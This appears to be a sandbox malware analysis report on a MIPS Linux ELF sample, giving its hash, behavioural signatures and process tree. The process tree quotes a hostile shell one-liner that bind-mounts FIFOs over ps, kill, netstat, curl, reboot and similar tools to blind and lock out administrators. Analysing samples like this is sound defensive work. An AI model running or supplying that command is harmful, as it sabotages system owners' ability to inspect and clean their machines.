Analysis
- max time kernel
5s - platform
debian-12_mipsel - resource
debian12-mipsel-20250619-en - resource tags
- submitted
06/11/2025, 09:25
General
- Target mipsel.uhavenobotsxd.elf
- Size 112KB
- Sample251106-ldvaeahn4z
- SHA256 2d3f2884085fddcb272d090e201247fcc9f45be8e133c85d010b375abbe7c4eb
Score
4/10
Malware Config
Signatures
- Changes its process name 1 IoCs
- Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/mipsel.uhavenobotsxd.elf/tmp/mipsel.uhavenobotsxd.elf1⤵
- Changes its process name
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
-
/bin/shsh -c "for c in ps kill grep ls cat readlink mount umount awk sed cut wget curl top netstat ss lsof reboot shutdown halt poweroff; do mkfifo /tmp/\$c 2>/dev/null; mount --bind /tmp/\$c /bin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/bin/\$c 2>/dev/null; mount --bind /tmp/\$c /sbin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/sbin/\$c 2>/dev/null; done"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.broken_shell
.mock
.taunt